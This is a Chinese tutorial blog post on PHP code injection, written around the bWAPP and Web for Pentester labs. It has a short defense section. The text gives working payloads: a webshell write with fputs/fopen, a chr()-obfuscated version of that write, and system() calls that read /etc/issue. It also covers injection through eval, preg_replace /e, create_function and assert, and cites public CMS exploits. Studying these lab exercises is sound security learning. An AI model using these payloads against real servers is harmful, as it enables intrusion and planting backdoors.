美文网首页bwapp系列
从bwapp学PHP代码注入

从bwapp学PHP代码注入

作者: 陈奕迅大佬 | 来源:发表于2018-06-17 12:49 被阅读0次

    0x00 背景

    在bwapp的注入部分有一个个php injection,这是第一次接触,在做题的过程中查阅各种资料学习这里总结一下

    0x01 PHP命令执行函数

    遵从几位学长的建议对于PHP的学习都是需要的时候才去看一下,所以理解的程度并不深。这里从网上收集了一些PHP能够执行命令的函数。详情请看php执行函数

    0x02 bwapp下实例

    在php injection的源代码可以看到只有low等级的对于message参数前有eval执行函数,midium和high都只是使用echo打印到页面之上。因此直接在message的值写为phpinfo()就能执行该函数。

    在网上看到一个相较高级的利用办法是利用fopen来写入一个php文件,相当于实现了文件上传的功能,要想在实际环境中实现需要考虑很多绕过的情况,但是想法不错!

    http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')

    这样的话就会在phpi的同级目录之下生成一个haha.php文件,使用菜刀连接就好。

    medium与high就直接忽略掉了。

    0x03 文件包含

    文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

    test.php代码如下:

    <?php include($_GET['a']) ?>

    提交a的值:

    http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E

    提交之后就能正常执行phpinfo()了

    0x04 preg_replace正则替换

    这个函数的定义形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

    pattern参数的利用

    pattern即第一个参数的代码注射。当magic_quotes_gpc=Off时,导致代码执行。

    例:<?php echo $regexp = $_GET['reg'];

    $var = 'phpinfo()';

    preg_replace("/(.*?)$regexp", '\\1', $var);

    ?>

    当提交?reg=%3C\/php%3E/e时就会执行var中的语句

    ②使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行

    例如:

    <?php  

    echo preg_replace("/test/e",$_GET["h"],"jutst test");

     ?>/*当提交的h参数为phpinfo()就会被执行,当执行以下经过chr函数绕过的会生成一个新的php文件

    h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).

    chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).

    chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).

    chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

    密文对应的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);

    0x05 动态代码执行

    这一类一般是从用户处获得了多个参数,然后有一个可以用来执行其他的语句。

    <?php   $a = $_GET['a'];         $b = $_GET['b'];        $a($b);   ?>

    提交a=system&b=ipconfig   就能成功执行ipconfig命令

    还有一种是使用了create_function()函数

    string create_function  ( string$args   , string$code   ) 即第一个参数指定创建函数的参数,第二个就是创建函数的代码部分。

    create_function('$name', 'echo "hello".$name;'))等价于

    function fun($name){ echo "hello".$name; }

    实验代码:

    提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())

    0x06 实例

    http://www.exploit-db.com/exploits/18565/  LotusCMS 3.0 eval() Remote Command Execution

    影响版本:

    LotusCMS version 3.0.3

    LotusCMS version 3.0.5

    漏洞描述:

    在LotusCMS 的index.php 文件中调用router 构建函数,然后在lcms/core/lib/router.php 中page 这个参数被带入,由于未经任何过滤可以产生该漏洞。

    也可以像上面提到的一样利用执行函数的特性来写入一个文件

    3.案例-2:

    http://www.exploit-db.com/exploits/35183/ X7 Chat 2.0.5 preg_replace() PHP Code Execution

    影响版本:X7 Chat version 2.0.5

    漏洞描述:

    漏洞的产生最终是由于/lib/message.php 下的第119 行的preg_replce()函数导致,这里引用了/e 修饰符,并且未经过严格过滤最终导致任意代码执行。

    案例演示:

    1. 首先需要注册一个用户

    2. 利用注册的用户登录

    3. User CP –>Offline Msgs –>创建一个项目链接–>Send

    或者直接GET 如下代码

    之后可以看到成功创建一个项目,当打开创建的项目可以看到利用代码被成功执行

    Metasploit 更新了漏洞利用模块,可以利用该模块演示一下被利用的场景

    PHP create_function()

    1.在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。

    Code:

    PHP unserialize

    Code:

    提交语句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

    PHP assert

    Code:

    提交语句:http://127.0.0.1/test/assert.php?test=phpinfo();

    0x07 代码执行绕过

    前面将一些常见的易造成PHP代码注入的函数介绍了一下。接下来将以web for pentester中的案例来演示一下,一些简单的php代码执行的绕过。

    案例演示:

    example1.php

    代码:

    解决方案:

    查看代码我们可以看到,这里使用了反斜杠【\】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的。具体案例可以到这里学习【php4fun.sinaapp.com PHP挑战通关攻略】。但是我们可以通过${${ }}这样的方式绕过,从而继续执行代码。

    提交语句:

    http://target/codeexec/example1.php?name=${${phpinfo()}}

    example2.php

    代码:

    解决方案:

    我们看代码,造成造成代码注入的重点在被加红的区域也就是create_function()的不当使用,我们可以这样构造);}phpinfo();//,从而继续执行我们的命令。【这里解释一下);}是闭合了前面的代码,而//则是将后面的内容注释掉】

    提交代码:

    http://target/codeexec/example2.php?order=id);}phpinfo();//

    example3.php

    代码:

    解决方案:

    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

    因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造

    new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

    提交代码:

    http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

    example4.php

    代码:

    解决方案:

    如此构造即可:hacker’.system(‘cat /etc/issue’).’

    提交代码:

    http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’

    0x08 代码防御

    尽量不要执行外部的应用程序和命令

    在使用诸如:eval、preg_replace、assert这些函数的时候,确定参数的内容,严格过滤危险参数。

    使用自定义的函数或者函数库来实现相关的需要命令功能

    0x09 相关参考

    代码审计典型语法结构

    PHP代码执行漏洞总结

    cn2.php.net

    慎用preg_replace危险的/e修饰符(一句话后门常用)

    Web攻防系列教程之浅析PHP命令注入攻击

    文中后半部分来自千域千寻,PHP Code Injection Analysis

    相关文章

      网友评论

        本文标题:从bwapp学PHP代码注入

        本文链接:https://www.haomeiwen.com/subject/afaveftx.html